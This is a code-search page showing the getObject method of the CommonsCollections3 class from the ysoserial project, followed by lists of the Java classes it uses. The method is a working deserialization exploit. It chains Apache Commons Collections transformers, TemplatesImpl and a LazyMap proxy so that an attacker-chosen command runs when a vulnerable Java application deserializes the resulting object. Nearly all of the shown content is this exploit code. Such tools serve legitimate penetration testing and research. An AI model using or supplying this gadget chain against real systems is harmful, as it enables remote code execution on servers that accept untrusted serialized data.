Search in sources :

Example 1 with InstantiateTransformer

use of org.apache.commons.collections.functors.InstantiateTransformer in project ysoserial by frohoff.

the class CommonsCollections3 method getObject.

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}
Also used : ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) Transformer(org.apache.commons.collections.Transformer) InstantiateTransformer(org.apache.commons.collections.functors.InstantiateTransformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) HashMap(java.util.HashMap) InstantiateTransformer(org.apache.commons.collections.functors.InstantiateTransformer) ChainedTransformer(org.apache.commons.collections.functors.ChainedTransformer) ConstantTransformer(org.apache.commons.collections.functors.ConstantTransformer) HashMap(java.util.HashMap) LazyMap(org.apache.commons.collections.map.LazyMap) Map(java.util.Map) InvocationHandler(java.lang.reflect.InvocationHandler)

Aggregations

InvocationHandler (java.lang.reflect.InvocationHandler)1 HashMap (java.util.HashMap)1 Map (java.util.Map)1 Transformer (org.apache.commons.collections.Transformer)1 ChainedTransformer (org.apache.commons.collections.functors.ChainedTransformer)1 ConstantTransformer (org.apache.commons.collections.functors.ConstantTransformer)1 InstantiateTransformer (org.apache.commons.collections.functors.InstantiateTransformer)1 LazyMap (org.apache.commons.collections.map.LazyMap)1